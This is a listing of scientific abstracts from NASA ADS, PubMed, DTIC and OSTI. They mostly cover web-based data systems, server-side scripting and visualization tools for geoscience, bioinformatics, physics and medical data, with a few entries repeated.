Environmental Data Store (EDS): A multi-node Data Storage Facility for diverse sets of Geoscience Data

NASA Astrophysics Data System (ADS)

Piasecki, M.; Ji, P.

2014-12-01

Geoscience data comes in many flavors that are determined by type of data such as continous on a grid or mesh or discrete colelcted at point either as one time samples or a stream of data coming of sensors, but coudl also encompass digital files of any time type such text files, WORD or EXCEL documents, or audio and video files. We present a storage facility that is comprsed of 6 nodes each of speciaized to host a certain data type: grid based data (netCDF on a THREDDS server), GIS data (shapefiles using GeoServer), point time series data (CUAHSI ODM), sample data (EDBS), and any digital data (RAMADAA) plus a server fro Remote sensing data and its products. While there is overlap in data type storage capabilities (rasters can go into several of these nodes) we prefer to use dedicated storage facilities that are a) freeware, and b) have a good degree of maturity, and c) have shown their utility for stroing a cetain type. In addition it allows to place these commonly used software stacks and storage solutiosn side-by-side to develop interoprability strategies. We have used a DRUPAL based system to handle user regoistration and authentication, and also use the system for data submission and data search. In support for tis system we developed an extensive controlled vocabulary system that is an amalgamation of various CVs used in the geosciecne community in order to achieve as high a degree of recognition, such the CF conventions, CUAHSI Cvs, , NASA (GCMD), EPA and USGS taxonomies, GEMET, in addition to ontological representations such as SWEET.

InCHlib - interactive cluster heatmap for web applications.

PubMed

Skuta, Ctibor; Bartůněk, Petr; Svozil, Daniel

2014-12-01

Hierarchical clustering is an exploratory data analysis method that reveals the groups (clusters) of similar objects. The result of the hierarchical clustering is a tree structure called dendrogram that shows the arrangement of individual clusters. To investigate the row/column hierarchical cluster structure of a data matrix, a visualization tool called 'cluster heatmap' is commonly employed. In the cluster heatmap, the data matrix is displayed as a heatmap, a 2-dimensional array in which the colour of each element corresponds to its value. The rows/columns of the matrix are ordered such that similar rows/columns are near each other. The ordering is given by the dendrogram which is displayed on the side of the heatmap. We developed InCHlib (Interactive Cluster Heatmap Library), a highly interactive and lightweight JavaScript library for cluster heatmap visualization and exploration. InCHlib enables the user to select individual or clustered heatmap rows, to zoom in and out of clusters or to flexibly modify heatmap appearance. The cluster heatmap can be augmented with additional metadata displayed in a different colour scale. In addition, to further enhance the visualization, the cluster heatmap can be interconnected with external data sources or analysis tools. Data clustering and the preparation of the input file for InCHlib is facilitated by the Python utility script inchlib_clust . The cluster heatmap is one of the most popular visualizations of large chemical and biomedical data sets originating, e.g., in high-throughput screening, genomics or transcriptomics experiments. The presented JavaScript library InCHlib is a client-side solution for cluster heatmap exploration. InCHlib can be easily deployed into any modern web application and configured to cooperate with external tools and data sources. Though InCHlib is primarily intended for the analysis of chemical or biological data, it is a versatile tool which application domain is not limited to the life sciences only.

High Speed Oblivious Random Access Memory (HS-ORAM)

DTIC Science & Technology

2015-09-01

Bryan Parno, “Non-interactive verifiable computing: Outsourcing computation to untrusted workers”, 30th International Cryptology Conference, pp. 465...holder or any other person or corporation; or convey any rights or permission to manufacture , use, or sell any patented invention that may relate to...secure outsourced data access protocols. HS-ORAM deploys a number of server- side software components running inside tamper-proof secure coprocessors

Mobile Code: The Future of the Internet

DTIC Science & Technology

1999-01-01

code ( mobile agents) to multiple proxies or servers " Customization " (e.g., re-formatting, filtering, metasearch) Information overload Diversified... Mobile code is necessary, rather than client-side code, since many customization features (such as information monitoring) do not work if the...economic foundation for Web sites, many Web sites earn money solely from advertisements . If these sites allow mobile agents to easily access the content

The OPEN Migration Platform Architecture

NASA Astrophysics Data System (ADS)

Martin, Miquel

This chapter establishes a common understanding of the meaning of migration, and introduces the OPEN functionalities, which enable application migration. We start by discussing the various definitions of migration, before focusing on the OPEN take on the concept. The chapter then covers our proposed architecture , as well as the functionality required, both from the server and the client side (i.e. the applications) in order to enable application migration.

Anti-social networking: crowdsourcing and the cyber defence of national critical infrastructures.

PubMed

Johnson, Chris W

2014-01-01

We identify four roles that social networking plays in the 'attribution problem', which obscures whether or not cyber-attacks were state-sponsored. First, social networks motivate individuals to participate in Distributed Denial of Service attacks by providing malware and identifying potential targets. Second, attackers use an individual's social network to focus attacks, through spear phishing. Recipients are more likely to open infected attachments when they come from a trusted source. Third, social networking infrastructures create disposable architectures to coordinate attacks through command and control servers. The ubiquitous nature of these architectures makes it difficult to determine who owns and operates the servers. Finally, governments recruit anti-social criminal networks to launch attacks on third-party infrastructures using botnets. The closing sections identify a roadmap to increase resilience against the 'dark side' of social networking.

Electron tunneling in proteins program.

PubMed

Hagras, Muhammad A; Stuchebrukhov, Alexei A

2016-06-05

We developed a unique integrated software package (called Electron Tunneling in Proteins Program or ETP) which provides an environment with different capabilities such as tunneling current calculation, semi-empirical quantum mechanical calculation, and molecular modeling simulation for calculation and analysis of electron transfer reactions in proteins. ETP program is developed as a cross-platform client-server program in which all the different calculations are conducted at the server side while only the client terminal displays the resulting calculation outputs in the different supported representations. ETP program is integrated with a set of well-known computational software packages including Gaussian, BALLVIEW, Dowser, pKip, and APBS. In addition, ETP program supports various visualization methods for the tunneling calculation results that assist in a more comprehensive understanding of the tunneling process. © 2016 Wiley Periodicals, Inc. © 2016 Wiley Periodicals, Inc.

jSPyDB, an open source database-independent tool for data management

NASA Astrophysics Data System (ADS)

Pierro, Giuseppe Antonio; Cavallari, Francesca; Di Guida, Salvatore; Innocente, Vincenzo

2011-12-01

Nowadays, the number of commercial tools available for accessing Databases, built on Java or .Net, is increasing. However, many of these applications have several drawbacks: usually they are not open-source, they provide interfaces only with a specific kind of database, they are platform-dependent and very CPU and memory consuming. jSPyDB is a free web-based tool written using Python and Javascript. It relies on jQuery and python libraries, and is intended to provide a simple handler to different database technologies inside a local web browser. Such a tool, exploiting fast access libraries such as SQLAlchemy, is easy to install, and to configure. The design of this tool envisages three layers. The front-end client side in the local web browser communicates with a backend server. Only the server is able to connect to the different databases for the purposes of performing data definition and manipulation. The server makes the data available to the client, so that the user can display and handle them safely. Moreover, thanks to jQuery libraries, this tool supports export of data in different formats, such as XML and JSON. Finally, by using a set of pre-defined functions, users are allowed to create their customized views for a better data visualization. In this way, we optimize the performance of database servers by avoiding short connections and concurrent sessions. In addition, security is enforced since we do not provide users the possibility to directly execute any SQL statement.

Adapting the iSNOBAL model for improved visualization in a GIS environment

NASA Astrophysics Data System (ADS)

Johansen, W. J.; Delparte, D.

2014-12-01

Snowmelt is a primary means of crucial water resources in much of the western United States. Researchers are developing models that estimate snowmelt to aid in water resource management. One such model is the image snowcover energy and mass balance (iSNOBAL) model. It uses input climate grids to simulate the development and melting of snowpack in mountainous regions. This study looks at applying this model to the Reynolds Creek Experimental Watershed in southwestern Idaho, utilizing novel approaches incorporating geographic information systems (GIS). To improve visualization of the iSNOBAL model, we have adapted it to run in a GIS environment. This type of environment is suited to both the input grid creation and the visualization of results. The data used for input grid creation can be stored locally or on a web-server. Kriging interpolation embedded within Python scripts are used to create air temperature, soil temperature, humidity, and precipitation grids, while built-in GIS and existing tools are used to create solar radiation and wind grids. Additional Python scripting is then used to perform model calculations. The final product is a user-friendly and accessible version of the iSNOBAL model, including the ability to easily visualize and interact with model results, all within a web- or desktop-based GIS environment. This environment allows for interactive manipulation of model parameters and visualization of the resulting input grids for the model calculations. Future work is moving towards adapting the model further for use in a 3D gaming engine for improved visualization and interaction.

OpenGL in Multi-User Web-Based Applications

NASA Astrophysics Data System (ADS)

Szostek, K.; Piórkowski, A.

In this article construction and potential of OpenGL multi-user web-based application are presented. The most common technologies like: .NET ASP, Java and Mono were used with specific OpenGL libraries to visualize tree-dimensional medical data. The most important conclusion of this work is that server side applications can easily take advantage of fast GPU and produce efficient results of advanced computation just like the visualization.

Specifying and Verifying the Correctness of Dynamic Software Updates

DTIC Science & Technology

2011-11-15

additional branching introduced by update points and the need to analyze the state transformer code. As tools become faster and more effective , our...It shows the effectiveness of merging-based verification on practical examples, including Redis [20], a widely deployed server program. 2 Defining...Gupta’s reachability while side -stepping the problem that reachability can leave behavior CS-TR-4997 under-constrained. For example, for the vsftpd update

A streaming-based solution for remote visualization of 3D graphics on mobile devices.

PubMed

Lamberti, Fabrizio; Sanna, Andrea

2007-01-01

Mobile devices such as Personal Digital Assistants, Tablet PCs, and cellular phones have greatly enhanced user capability to connect to remote resources. Although a large set of applications are now available bridging the gap between desktop and mobile devices, visualization of complex 3D models is still a task hard to accomplish without specialized hardware. This paper proposes a system where a cluster of PCs, equipped with accelerated graphics cards managed by the Chromium software, is able to handle remote visualization sessions based on MPEG video streaming involving complex 3D models. The proposed framework allows mobile devices such as smart phones, Personal Digital Assistants (PDAs), and Tablet PCs to visualize objects consisting of millions of textured polygons and voxels at a frame rate of 30 fps or more depending on hardware resources at the server side and on multimedia capabilities at the client side. The server is able to concurrently manage multiple clients computing a video stream for each one; resolution and quality of each stream is tailored according to screen resolution and bandwidth of the client. The paper investigates in depth issues related to latency time, bit rate and quality of the generated stream, screen resolutions, as well as frames per second displayed.

Web tools for effective retrieval, visualization, and evaluation of cardiology medical images and records

NASA Astrophysics Data System (ADS)

Masseroli, Marco; Pinciroli, Francesco

2000-12-01

To provide easy retrieval, integration and evaluation of multimodal cardiology images and data in a web browser environment, distributed application technologies and java programming were used to implement a client-server architecture based on software agents. The server side manages secure connections and queries to heterogeneous remote databases and file systems containing patient personal and clinical data. The client side is a Java applet running in a web browser and providing a friendly medical user interface to perform queries on patient and medical test dat and integrate and visualize properly the various query results. A set of tools based on Java Advanced Imaging API enables to process and analyze the retrieved cardiology images, and quantify their features in different regions of interest. The platform-independence Java technology makes the developed prototype easy to be managed in a centralized form and provided in each site where an intranet or internet connection can be located. Giving the healthcare providers effective tools for querying, visualizing and evaluating comprehensively cardiology medical images and records in all locations where they can need them- i.e. emergency, operating theaters, ward, or even outpatient clinics- the developed prototype represents an important aid in providing more efficient diagnoses and medical treatments.

HESS Opinions: Repeatable research: what hydrologistscan learn from the Duke cancer research scandal

USGS Publications Warehouse

Fienen, Michael; Bakker, Mark

2016-01-01

In the past decade, difficulties encountered in reproducing the results of a cancer study at Duke University resulted in a scandal and an investigation which concluded that tools used for data management, analysis, and modeling were inappropriate for the documentation of the study, let alone the reproduction of the results. New protocols were developed which require that data analysis and modeling be carried out with scripts that can be used to reproduce the results and are a record of all decisions and interpretations made during an analysis or a modeling effort. In the hydrological sciences, we face similar challenges and need to develop similar standards for transparency and repeatability of results. A promising route is to start making use of open-source languages (such as R and Python) to write scripts and to use collaborative coding environments (such as Git) to share our codes for inspection and use by the hydrological community. An important side-benefit to adopting such protocols is consistency and efficiency among collaborators.

Knowledge-based engineering of a PLC controlled telescope

NASA Astrophysics Data System (ADS)

Pessemier, Wim; Raskin, Gert; Saey, Philippe; Van Winckel, Hans; Deconinck, Geert

2016-08-01

As the new control system of the Mercator Telescope is being finalized, we can review some technologies and design methodologies that are advantageous, despite their relative uncommonness in astronomical instrumentation. Particular for the Mercator Telescope is that it is controlled by a single high-end soft-PLC (Programmable Logic Controller). Using off-the-shelf components only, our distributed embedded system controls all subsystems of the telescope such as the pneumatic primary mirror support, the hydrostatic bearing, the telescope axes, the dome, the safety system, and so on. We show how real-time application logic can be written conveniently in typical PLC languages (IEC 61131-3) and in C++ (to implement the pointing kernel) using the commercial TwinCAT 3 programming environment. This software processes the inputs and outputs of the distributed system in real-time via an observatory-wide EtherCAT network, which is synchronized with high precision to an IEEE 1588 (PTP, Precision Time Protocol) time reference clock. Taking full advantage of the ability of soft-PLCs to run both real-time and non real-time software, the same device also hosts the most important user interfaces (HMIs or Human Machine Interfaces) and communication servers (OPC UA for process data, FTP for XML configuration data, and VNC for remote control). To manage the complexity of the system and to streamline the development process, we show how most of the software, electronics and systems engineering aspects of the control system have been modeled as a set of scripts written in a Domain Specific Language (DSL). When executed, these scripts populate a Knowledge Base (KB) which can be queried to retrieve specific information. By feeding the results of those queries to a template system, we were able to generate very detailed "browsable" web-based documentation about the system, but also PLC software code, Python client code, model verification reports, etc. The aim of this paper is to demonstrate the added value that technologies such as soft-PLCs and DSL-scripts and design methodologies such as knowledge-based engineering can bring to astronomical instrumentation.

Sexual scripts and sexual risk behaviors among Black heterosexual men: development of the Sexual Scripts Scale.

PubMed

Bowleg, Lisa; Burkholder, Gary J; Noar, Seth M; Teti, Michelle; Malebranche, David J; Tschann, Jeanne M

2015-04-01

Sexual scripts are widely shared gender and culture-specific guides for sexual behavior with important implications for HIV prevention. Although several qualitative studies document how sexual scripts may influence sexual risk behaviors, quantitative investigations of sexual scripts in the context of sexual risk are rare. This mixed methods study involved the qualitative development and quantitative testing of the Sexual Scripts Scale (SSS). Study 1 included qualitative semi-structured interviews with 30 Black heterosexual men about sexual experiences with main and casual sex partners to develop the SSS. Study 2 included a quantitative test of the SSS with 526 predominantly low-income Black heterosexual men. A factor analysis of the SSS resulted in a 34-item, seven-factor solution that explained 68% of the variance. The subscales and coefficient alphas were: Romantic Intimacy Scripts (α = .86), Condom Scripts (α = .82), Alcohol Scripts (α = .83), Sexual Initiation Scripts (α = .79), Media Sexual Socialization Scripts (α = .84), Marijuana Scripts (α = .85), and Sexual Experimentation Scripts (α = .84). Among men who reported a main partner (n = 401), higher Alcohol Scripts, Media Sexual Socialization Scripts, and Marijuana Scripts scores, and lower Condom Scripts scores were related to more sexual risk behavior. Among men who reported at least one casual partner (n = 238), higher Romantic Intimacy Scripts, Sexual Initiation Scripts, and Media Sexual Socialization Scripts, and lower Condom Scripts scores were related to higher sexual risk. The SSS may have considerable utility for future research on Black heterosexual men's HIV risk.

Fast access to the CMS detector condition data employing HTML5 technologies

NASA Astrophysics Data System (ADS)

Pierro, Giuseppe Antonio; Cavallari, Francesca; Di Guida, Salvatore; Innocente, Vincenzo

2011-12-01

This paper focuses on using HTML version 5 (HTML5) for accessing condition data for the CMS experiment, evaluating the benefits and risks posed by the use of this technology. According to the authors of HTML5, this technology attempts to solve issues found in previous iterations of HTML and addresses the needs of web applications, an area previously not adequately covered by HTML. We demonstrate that employing HTML5 brings important benefits in terms of access performance to the CMS condition data. The combined use of web storage and web sockets allows increasing the performance and reducing the costs in term of computation power, memory usage and network bandwidth for client and server. Above all, the web workers allow creating different scripts that can be executed using multi-thread mode, exploiting multi-core microprocessors. Web workers have been employed in order to substantially decrease the web page rendering time to display the condition data stored in the CMS condition database.

A Secure Web Application Providing Public Access to High-Performance Data Intensive Scientific Resources - ScalaBLAST Web Application

DOE Office of Scientific and Technical Information (OSTI.GOV)

Curtis, Darren S.; Peterson, Elena S.; Oehmen, Chris S.

2008-05-04

This work presents the ScalaBLAST Web Application (SWA), a web based application implemented using the PHP script language, MySQL DBMS, and Apache web server under a GNU/Linux platform. SWA is an application built as part of the Data Intensive Computer for Complex Biological Systems (DICCBS) project at the Pacific Northwest National Laboratory (PNNL). SWA delivers accelerated throughput of bioinformatics analysis via high-performance computing through a convenient, easy-to-use web interface. This approach greatly enhances emerging fields of study in biology such as ontology-based homology, and multiple whole genome comparisons which, in the absence of a tool like SWA, require a heroicmore » effort to overcome the computational bottleneck associated with genome analysis. The current version of SWA includes a user account management system, a web based user interface, and a backend process that generates the files necessary for the Internet scientific community to submit a ScalaBLAST parallel processing job on a dedicated cluster.« less

ATLAS tile calorimeter cesium calibration control and analysis software

NASA Astrophysics Data System (ADS)

Solovyanov, O.; Solodkov, A.; Starchenko, E.; Karyukhin, A.; Isaev, A.; Shalanda, N.

2008-07-01

An online control system to calibrate and monitor ATLAS Barrel hadronic calorimeter (TileCal) with a movable radioactive source, driven by liquid flow, is described. To read out and control the system an online software has been developed, using ATLAS TDAQ components like DVS (Diagnostic and Verification System) to verify the hardware before running, IS (Information Server) for data and status exchange between networked computers, and other components like DDC (DCS to DAQ Connection), to connect to PVSS-based slow control systems of Tile Calorimeter, high voltage and low voltage. A system of scripting facilities, based on Python language, is used to handle all the calibration and monitoring processes from hardware perspective to final data storage, including various abnormal situations. A QT based graphical user interface to display the status of the calibration system during the cesium source scan is described. The software for analysis of the detector response, using online data, is discussed. Performance of the system and first experience from the ATLAS pit are presented.

SSRPrimer and SSR Taxonomy Tree: Biome SSR discovery

PubMed Central

Jewell, Erica; Robinson, Andrew; Savage, David; Erwin, Tim; Love, Christopher G.; Lim, Geraldine A. C.; Li, Xi; Batley, Jacqueline; Spangenberg, German C.; Edwards, David

2006-01-01

Simple sequence repeat (SSR) molecular genetic markers have become important tools for a broad range of applications such as genome mapping and genetic diversity studies. SSRs are readily identified within DNA sequence data and PCR primers can be designed for their amplification. These PCR primers frequently cross amplify within related species. We report a web-based tool, SSR Primer, that integrates SPUTNIK, an SSR repeat finder, with Primer3, a primer design program, within one pipeline. On submission of multiple FASTA formatted sequences, the script screens each sequence for SSRs using SPUTNIK. Results are then parsed to Primer3 for locus specific primer design. We have applied this tool for the discovery of SSRs within the complete GenBank database, and have designed PCR amplification primers for over 13 million SSRs. The SSR Taxonomy Tree server provides web-based searching and browsing of species and taxa for the visualisation and download of these SSR amplification primers. These tools are available at . PMID:16845092

SSRPrimer and SSR Taxonomy Tree: Biome SSR discovery.

PubMed

Jewell, Erica; Robinson, Andrew; Savage, David; Erwin, Tim; Love, Christopher G; Lim, Geraldine A C; Li, Xi; Batley, Jacqueline; Spangenberg, German C; Edwards, David

2006-07-01

Simple sequence repeat (SSR) molecular genetic markers have become important tools for a broad range of applications such as genome mapping and genetic diversity studies. SSRs are readily identified within DNA sequence data and PCR primers can be designed for their amplification. These PCR primers frequently cross amplify within related species. We report a web-based tool, SSR Primer, that integrates SPUTNIK, an SSR repeat finder, with Primer3, a primer design program, within one pipeline. On submission of multiple FASTA formatted sequences, the script screens each sequence for SSRs using SPUTNIK. Results are then parsed to Primer3 for locus specific primer design. We have applied this tool for the discovery of SSRs within the complete GenBank database, and have designed PCR amplification primers for over 13 million SSRs. The SSR Taxonomy Tree server provides web-based searching and browsing of species and taxa for the visualisation and download of these SSR amplification primers. These tools are available at http://bioinformatics.pbcbasc.latrobe.edu.au/ssrdiscovery.html.

Development of a web application for water resources based on open source software

NASA Astrophysics Data System (ADS)

Delipetrev, Blagoj; Jonoski, Andreja; Solomatine, Dimitri P.

2014-01-01

This article presents research and development of a prototype web application for water resources using latest advancements in Information and Communication Technologies (ICT), open source software and web GIS. The web application has three web services for: (1) managing, presenting and storing of geospatial data, (2) support of water resources modeling and (3) water resources optimization. The web application is developed using several programming languages (PhP, Ajax, JavaScript, Java), libraries (OpenLayers, JQuery) and open source software components (GeoServer, PostgreSQL, PostGIS). The presented web application has several main advantages: it is available all the time, it is accessible from everywhere, it creates a real time multi-user collaboration platform, the programing languages code and components are interoperable and designed to work in a distributed computer environment, it is flexible for adding additional components and services and, it is scalable depending on the workload. The application was successfully tested on a case study with concurrent multi-users access.

Dynamic online surveys and experiments with the free open-source software dynQuest.

PubMed

Rademacher, Jens D M; Lippke, Sonia

2007-08-01

With computers and the World Wide Web widely available, collecting data through Web browsers is an attractive method utilized by the social sciences. In this article, conducting PC- and Web-based trials with the software package dynQuest is described. The software manages dynamic questionnaire-based trials over the Internet or on single computers, possibly as randomized control trials (RCT), if two or more groups are involved. The choice of follow-up questions can depend on previous responses, as needed for matched interventions. Data are collected in a simple text-based database that can be imported easily into other programs for postprocessing and statistical analysis. The software consists of platform-independent scripts written in the programming language PERL that use the common gateway interface between Web browser and server for submission of data through HTML forms. Advantages of dynQuest are parsimony, simplicity in use and installation, transparency, and reliability. The program is available as open-source freeware from the authors.

An open source, web based, simple solution for seismic data dissemination and collaborative research

NASA Astrophysics Data System (ADS)

Diviacco, Paolo

2005-06-01

Collaborative research and data dissemination in the field of geophysical exploration need network tools that can access large amounts of data from anywhere using any PC or workstation. Simple solutions based on a combination of Open Source software can be developed to address such requests, exploiting the possibilities offered by the web technologies, and at the same time avoiding the costs and inflexibility of commercial systems. A viable solution consists of MySQL for data storage and retrieval, CWP/SU and GMT for data visualisation and a scripting layer driven by PHP that allows users to access the system via an Apache web server. In the light of the experience building the on-line archive of seismic data of the Istituto Nazionale di Oceanografia e di Geofisica Sperimentale (OGS), we describe the solutions and the methods adopted, with a view to stimulate both the attitude of network collaborative research of other institutions similar to ours, and the development of different applications.

StreptomycesInforSys: A web-enabled information repository

PubMed Central

Jain, Chakresh Kumar; Gupta, Vidhi; Gupta, Ashvarya; Gupta, Sanjay; Wadhwa, Gulshan; Sharma, Sanjeev Kumar; Sarethy, Indira P

2012-01-01

Members of Streptomyces produce 70% of natural bioactive products. There is considerable amount of information available based on polyphasic approach for classification of Streptomyces. However, this information based on phenotypic, genotypic and bioactive component production profiles is crucial for pharmacological screening programmes. This is scattered across various journals, books and other resources, many of which are not freely accessible. The designed database incorporates polyphasic typing information using combinations of search options to aid in efficient screening of new isolates. This will help in the preliminary categorization of appropriate groups. It is a free relational database compatible with existing operating systems. A cross platform technology with XAMPP Web server has been used to develop, manage, and facilitate the user query effectively with database support. Employment of PHP, a platform-independent scripting language, embedded in HTML and the database management software MySQL will facilitate dynamic information storage and retrieval. The user-friendly, open and flexible freeware (PHP, MySQL and Apache) is foreseen to reduce running and maintenance cost. Availability www.sis.biowaves.org PMID:23275736

Call progress time measurement in IP telephony

NASA Astrophysics Data System (ADS)

Khasnabish, Bhumip

1999-11-01

Usually a voice call is established through multiple stages in IP telephony. In the first stage, a phone number is dialed to reach a near-end or call-originating IP-telephony gateway. The next stages involve user identification through delivering an m-digit user-id to the authentication and/or billing server, and then user authentication by using an n- digit PIN. After that, the caller is allowed (last stage dial tone is provided) to dial a destination phone number provided that authentication is successful. In this paper, we present a very flexible method for measuring call progress time in IP telephony. The proposed technique can be used to measure the system response time at every stage. It is flexible, so that it can be easily modified to include new `tone' or a set of tones, or `voice begin' can be used in every stage to detect the system's response. The proposed method has been implemented using scripts written in Hammer visual basic language for testing with a few commercially available IP telephony gateways.

DOE Office of Scientific and Technical Information (OSTI.GOV)

Veseli, S.

As the number of sites deploying and adopting EPICS Version 4 grows, so does the need to support PV Access from multiple languages. Especially important are the widely used scripting languages that tend to reduce both software development time and the learning curve for new users. In this paper we describe PvaPy, a Python API for the EPICS PV Access protocol and its accompanying structured data API. Rather than implementing the protocol itself in Python, PvaPy wraps the existing EPICS Version 4 C++ libraries using the Boost.Python framework. This approach allows us to benefit from the existing code base andmore » functionality, and to significantly reduce the Python API development effort. PvaPy objects are based on Python dictionaries and provide users with the ability to access even the most complex of PV Data structures in a relatively straightforward way. Its interfaces are easy to use, and include support for advanced EPICS Version 4 features such as implementation of client and server Remote Procedure Calls (RPC).« less

StreptomycesInforSys: A web-enabled information repository.

PubMed

Jain, Chakresh Kumar; Gupta, Vidhi; Gupta, Ashvarya; Gupta, Sanjay; Wadhwa, Gulshan; Sharma, Sanjeev Kumar; Sarethy, Indira P

2012-01-01

Members of Streptomyces produce 70% of natural bioactive products. There is considerable amount of information available based on polyphasic approach for classification of Streptomyces. However, this information based on phenotypic, genotypic and bioactive component production profiles is crucial for pharmacological screening programmes. This is scattered across various journals, books and other resources, many of which are not freely accessible. The designed database incorporates polyphasic typing information using combinations of search options to aid in efficient screening of new isolates. This will help in the preliminary categorization of appropriate groups. It is a free relational database compatible with existing operating systems. A cross platform technology with XAMPP Web server has been used to develop, manage, and facilitate the user query effectively with database support. Employment of PHP, a platform-independent scripting language, embedded in HTML and the database management software MySQL will facilitate dynamic information storage and retrieval. The user-friendly, open and flexible freeware (PHP, MySQL and Apache) is foreseen to reduce running and maintenance cost. www.sis.biowaves.org.

Sexual Scripts and Sexual Risk Behaviors among Black Heterosexual Men: Development of the Sexual Scripts Scale

PubMed Central

Bowleg, Lisa; Burkholder, Gary J.; Noar, Seth M.; Teti, Michelle; Malebranche, David J.; Tschann, Jeanne M.

2014-01-01

Sexual scripts are widely shared gender and culture-specific guides for sexual behavior with important implications for HIV prevention. Although several qualitative studies document how sexual scripts may influence sexual risk behaviors, quantitative investigations of sexual scripts in the context of sexual risk are rare. This mixed methods study involved the qualitative development and quantitative testing of the Sexual Scripts Scale (SSS). Study 1 included qualitative semi-structured interviews with 30 Black heterosexual men about sexual experiences with main and casual sex partners to develop the SSS. Study 2 included a quantitative test of the SSS with 526 predominantly low-income Black heterosexual men. A factor analysis of the SSS resulted in a 34-item, seven-factor solution that explained 68% of the variance. The subscales and coefficient alphas were: Romantic Intimacy Scripts (α = .86), Condom Scripts (α = .82), Alcohol Scripts (α = .83), Sexual Initiation Scripts (α = .79), Media Sexual Socialization Scripts (α = .84), Marijuana Scripts (α = .85), and Sexual Experimentation Scripts (α = .84). Among men who reported a main partner (n = 401), higher Alcohol Scripts, Media Sexual Socialization Scripts, and Marijuana Scripts scores, and lower Condom Scripts scores were related to more sexual risk behavior. Among men who reported at least one casual partner (n = 238), higher Romantic Intimacy Scripts, Sexual Initiation Scripts, and Media Sexual Socialization Scripts, and lower Condom Scripts scores were related to higher sexual risk. The SSS may have considerable utility for future research on Black heterosexual men’s HIV risk. PMID:24311105

WegenerNet climate station network region Feldbach/Austria: From local measurements to weather and climate data products at 1 km-scale resolution

NASA Astrophysics Data System (ADS)

Kabas, T.; Leuprecht, A.; Bichler, C.; Kirchengast, G.

2010-12-01

South-eastern Austria is characteristic for experiencing a rich variety of weather and climate patterns. For this reason, the county of Feldbach was selected by the Wegener Center as a focus area for a pioneering observation experiment at very high resolution: The WegenerNet climate station network (in brief WegenerNet) comprises 151 meteorological stations within an area of about 20 km × 15 km (~ 1.4 km × 1.4 km station grid). All stations measure the main parameters temperature, humidity and precipitation with 5 minute sampling. Selected further stations include measurements of wind speed and direction completed by soil parameters as well as air pressure and net radiation. The collected data is integrated in an automatic processing system including data transfer, quality control, product generation, and visualization. Each station is equipped with an internet-attached data logger and the measurements are transferred as binary files via GPRS to the WegenerNet server in 1 hour intervals. The incoming raw data files of measured parameters as well as several operating values of the data logger are stored in a relational database (PostgreSQL). Next, the raw data pass the Quality Control System (QCS) in which the data are checked for its technical and physical plausibility (e.g., sensor specifications, temporal and spatial variability). In consideration of the data quality (quality flag), the Data Product Generator (DPG) results in weather and climate data products on various temporal scales (from 5 min to annual) for single stations and regular grids. Gridded data are derived by vertical scaling and squared inverse distance interpolation (1 km × 1 km and 0.01° × 0.01° grids). Both subsystems (QCS and DPG) are realized by the programming language Python. For application purposes the resulting data products are available via the bi-lingual (dt, en) WegenerNet data portal (www.wegenernet.org). At this time, the main interface is still online in a system in which MapServer is used to import spatial data by its database interface and to generate images of static geographic formats. However, a Java applet is additionally needed to display these images on the users local host. Furthermore, station data are visualized as time series by the scripting language PHP. Since February 2010, the visualization of gridded data products is a first step to a new data portal based on OpenLayers. In this GIS framework, all geographic information (e.g., OpenStreetMap) is displayed with MapServer. Furthermore, the visualization of all meteorological parameters are generated on the fly by a Python CGI script and transparently overlayed on the maps. Hence, station data and gridded data are visualized and further prepared for download in common data formats (csv, NetCDF). In conclusion, measured data and generated data products are provided with a data latency less than 1-2 hours in standard operation (near real time). Following an introduction of the processing system along the lines above, resulting data products are presented online at the WegenerNet data portal.

NOAA Operational Model Archive Distribution System (NOMADS): High Availability Applications for Reliable Real Time Access to Operational Model Data

NASA Astrophysics Data System (ADS)

Alpert, J. C.; Wang, J.

2009-12-01

To reduce the impact of natural hazards and environmental changes, the National Centers for Environmental Prediction (NCEP) provide first alert and a preferred partner for environmental prediction services, and represents a critical national resource to operational and research communities affected by climate, weather and water. NOMADS is now delivering high availability services as part of NOAA’s official real time data dissemination at its Web Operations Center (WOC) server. The WOC is a web service used by organizational units in and outside NOAA, and acts as a data repository where public information can be posted to a secure and scalable content server. A goal is to foster collaborations among the research and education communities, value added retailers, and public access for science and development efforts aimed at advancing modeling and GEO-related tasks. The user (client) executes what is efficient to execute on the client and the server efficiently provides format independent access services. Client applications can execute on the server, if it is desired, but the same program can be executed on the client side with no loss of efficiency. In this way this paradigm lends itself to aggregation servers that act as servers of servers listing, searching catalogs of holdings, data mining, and updating information from the metadata descriptions that enable collections of data in disparate places to be simultaneously accessed, with results processed on servers and clients to produce a needed answer. The services used to access the operational model data output are the Open-source Project for a Network Data Access Protocol (OPeNDAP), implemented with the Grid Analysis and Display System (GrADS) Data Server (GDS), and applications for slicing, dicing and area sub-setting the large matrix of real time model data holdings. This approach insures an efficient use of computer resources because users transmit/receive only the data necessary for their tasks including metadata. Data sets served in this way with a high availability server offer vast possibilities for the creation of new products for value added retailers and the scientific community. We demonstrate how users can use NOMADS services to select the values of Ensemble model runs over the ith Ensemble component, (forecast) time, vertical levels, global horizontal location, and by variable, virtually a 6-Dimensional data cube of access across the internet. The example application called the “Ensemble Probability Tool” make probability predictions of user defined weather events that can be used in remote areas for weather vulnerable circumstances. An application to access data for a verification pilot study is shown in detail in a companion paper (U06) collaboration with the World Bank and is an example of high value, usability and relevance of NCEP products and service capability over a wide spectrum of user and partner needs.

Parallel Wavefront Analysis for a 4D Interferometer

NASA Technical Reports Server (NTRS)

Rao, Shanti R.

2011-01-01

This software provides a programming interface for automating data collection with a PhaseCam interferometer from 4D Technology, and distributing the image-processing algorithm across a cluster of general-purpose computers. Multiple instances of 4Sight (4D Technology s proprietary software) run on a networked cluster of computers. Each connects to a single server (the controller) and waits for instructions. The controller directs the interferometer to several images, then assigns each image to a different computer for processing. When the image processing is finished, the server directs one of the computers to collate and combine the processed images, saving the resulting measurement in a file on a disk. The available software captures approximately 100 images and analyzes them immediately. This software separates the capture and analysis processes, so that analysis can be done at a different time and faster by running the algorithm in parallel across several processors. The PhaseCam family of interferometers can measure an optical system in milliseconds, but it takes many seconds to process the data so that it is usable. In characterizing an adaptive optics system, like the next generation of astronomical observatories, thousands of measurements are required, and the processing time quickly becomes excessive. A programming interface distributes data processing for a PhaseCam interferometer across a Windows computing cluster. A scriptable controller program coordinates data acquisition from the interferometer, storage on networked hard disks, and parallel processing. Idle time of the interferometer is minimized. This architecture is implemented in Python and JavaScript, and may be altered to fit a customer s needs.

Delayed Instantiation Bulk Operations for Management of Distributed, Object-Based Storage Systems

DTIC Science & Technology

2009-08-01

